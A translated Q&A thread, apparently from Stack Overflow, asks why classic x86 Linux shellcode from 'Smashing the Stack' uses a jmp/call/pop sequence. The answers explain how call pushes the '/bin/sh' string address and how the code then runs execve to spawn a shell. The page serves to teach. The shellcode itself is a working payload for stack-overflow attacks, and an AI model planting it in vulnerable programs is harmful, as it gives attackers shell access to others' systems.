2012-08-06 44 views
0
jmp 0x2a      # 3 bytes 
    popl %esi      # 1 byte 
    movl %esi,0x8(%esi)   # 3 bytes 
    movb $0x0,0x7(%esi)   # 4 bytes 
    movl $0x0,0xc(%esi)   # 7 bytes 
    movl $0xb,%eax    # 5 bytes 
    movl %esi,%ebx    # 2 bytes 
    leal 0x8(%esi),%ecx   # 3 bytes 
    leal 0xc(%esi),%edx   # 3 bytes 
    int $0x80     # 2 bytes 
    movl $0x1, %eax    # 5 bytes 
    movl $0x0, %ebx    # 5 bytes 
    int $0x80     # 2 bytes 
    call -0x2f     # 5 bytes 
    .string \"/bin/sh\"    # 8 bytes 

这么跳然后叫“串地址将被压入堆栈作为 返回地址”。这个地址保存在esi为什么pop esi?砸堆栈的乐趣和利润,代码执行顺序

+1

这个问题有什么意义? – 2012-08-06 23:02:00

回答

1

这是编写position-independent code(可以成功执行的代码,无论它位于何处)的常用方法。

call指令做了两两件事:

  1. 将返回地址(该指令的立即呼叫之后的地址)压入堆栈
  2. 跳转到指定的地址。

所以在调用之后,字符串“/ bin/sh”的地址在堆栈中。下一条指令pop esi将该地址从堆栈中取出,并将其放入esi寄存器,以便可以使用。

0

那么,当执行call时,它会将返回地址(调用操作码之后的地址)推入堆栈,以便在遇到ret(正常操作)时,执行继续停止。这是标准的x86调用约定。

在您的代码中,推送的返回地址是“/ bin/sh”的位置。 pop %esi将该值放入esi寄存器中,然后将其作为指针传递给系统调用0xb,这是在linux系统上的execve,执行命令在您的字符串中命名的命令。

x86 calling conventions有很多很好的资源,其中我期望linux x86对你特别感兴趣。